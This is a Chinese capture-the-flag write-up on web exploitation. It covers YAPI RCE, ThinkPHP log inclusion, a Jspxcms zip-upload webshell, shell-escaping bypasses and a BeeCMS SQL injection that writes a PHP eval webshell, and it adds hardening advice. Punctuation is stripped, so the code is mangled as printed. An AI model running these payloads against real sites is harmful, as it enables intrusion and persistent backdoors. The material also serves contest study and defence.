DASCTF July X CBCTF 4th WEB漏洞攻防实战从CMS漏洞到PHP函数绕过的深度解析1. 漏洞利用的艺术三大CMS实战剖析在CTF竞赛中CMS漏洞利用往往是WEB方向的高频考点。本次我们将深入分析三种典型CMS的漏洞利用链帮助选手建立系统化的漏洞挖掘思维。1.1 YAPI接口管理系统RCE漏洞YAPI作为广泛使用的接口管理平台其1.9.2版本存在严重的远程代码执行漏洞// 典型利用PoC const sandbox this const ObjectConstructor this.constructor const FunctionConstructor ObjectConstructor.constructor const myfun FunctionConstructor(return process) const process myfun() mockJson process.mainModule.require(child_process).execSync(cat ../../flag).toString()关键突破点通过原型链污染获取Node.js的process对象利用child_process模块执行系统命令需要特别注意目标服务器的目录结构实战技巧当遇到未知路径时建议先使用ls ../逐级探测目录再确定flag文件位置。1.2 ThinkPHP 3.2.3日志泄露漏洞ThinkPHP作为PHP主流框架其3.2.3版本存在日志信息泄露导致代码执行的风险漏洞类型利用方式所需条件日志泄露通过日志文件获取敏感信息开启调试模式代码执行构造恶意参数写入日志写权限包含漏洞http://target/?mHomecIndexaindexvalue[_filename]./Application/Runtime/Logs/Home/21_08_01.log利用流程确定框架版本和运行模式查找可访问的日志文件路径通过参数污染写入恶意代码包含日志文件触发代码执行1.3 Jspxcms文件上传漏洞Jspxcms的解压功能存在安全缺陷可导致任意文件上传# 自动化利用脚本框架 import requests TARGET http://target.com/ ZIP_FILE malicious.zip files {file: (ZIP_FILE, open(ZIP_FILE, rb), application/zip)} response requests.post(TARGET api/file/upload, filesfiles)漏洞原理未对压缩包内容进行安全检查解压路径可控可直接上传webshell文件2. PHP安全函数的致命缺陷绕过技巧深度解析PHP的安全函数本应成为防护利器但在特定场景下却可能成为漏洞利用的跳板。2.1 escapeshellarg与escapeshellcmd组合漏洞这对函数的组合使用存在经典的安全问题// 漏洞代码示例 $cmd cat . escapeshellarg($_GET[file]); system(escapeshellcmd($cmd));绕过原理escapeshellarg会将参数用单引号包裹escapeshellcmd会对特殊字符进行转义当参数包含非ASCII字符时处理不一致实战Payload?cmd/var/log/nginx/access.log ?cmdthis_is_final_fl%81ag_e2a457126032b42d.php2.2 过滤空格的多种绕过方式当系统过滤空格时可采用以下替代方案方法示例适用场景Tab符union%09select多数SQL场景%a0union%a0selectURL编码场景注释union/**/select宽松过滤环境括号union(select)特定语法环境# BeeCMS后台注入最终Payload admin%27%09un union ion%09seselectlect%09null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e%09in into to%09outoutfilefile%09/var/www/html/shell.php#3. 漏洞利用决策流程图为帮助选手快速判断漏洞利用方式我们设计了以下决策流程开始 │ ├─ 识别CMS/框架 → 已知漏洞 → 查找公开PoC → 调整参数 → 获取权限 │ │ │ └─ 未知版本 → 版本探测 → 历史漏洞测试 │ ├─ 功能点审计 → 文件上传 → 检查过滤规则 → 绕过限制 │ │ │ ├─ 文件包含 → 路径遍历 → LFI转RCE │ │ │ └─ 反序列化 → 构造POP链 → 代码执行 │ └─ 代码审计 → 危险函数 → 参数可控 → 构造Payload4. 防御方案与加固建议针对上述漏洞提供以下防护措施通用防护策略及时更新CMS和框架版本禁用不必要的危险函数严格过滤用户输入参数设置合理的文件权限PHP安全配置; php.ini关键配置 disable_functions exec,passthru,shell_exec,system open_basedir /var/www/html/ expose_php OffNginx防护规则location ~* \.(php|phar)(/|$) { deny all; } location /admin { auth_basic Restricted; auth_basic_user_file /etc/nginx/.htpasswd; }5. 自动化漏洞利用框架设计为提高CTF竞赛效率我们设计了一个模块化PoC框架class VulnExploiter: def __init__(self, target): self.target target self.session requests.Session() def check_yapi(self): # 检测YAPI漏洞 pass def exploit_thinkphp(self): # ThinkPHP利用模块 pass def bypass_php_filter(self, cmd): # PHP过滤绕过技术 return encoded_cmd if __name__ __main__: exploit VulnExploiter(http://ctf.example.com) exploit.run_checks()该框架具备以下特性模块化设计易于扩展新漏洞支持自定义Payload编码自动结果验证机制日志记录和调试功能在真实攻防对抗中理解漏洞原理远比记住Payload更重要。建议选手在掌握这些案例后尝试自行分析其他CMS的漏洞模式培养独立的漏洞挖掘能力。遇到新的防御机制时多思考为什么这个防护有效和如何绕过这种防护两个核心问题这将显著提升你的WEB安全实战水平。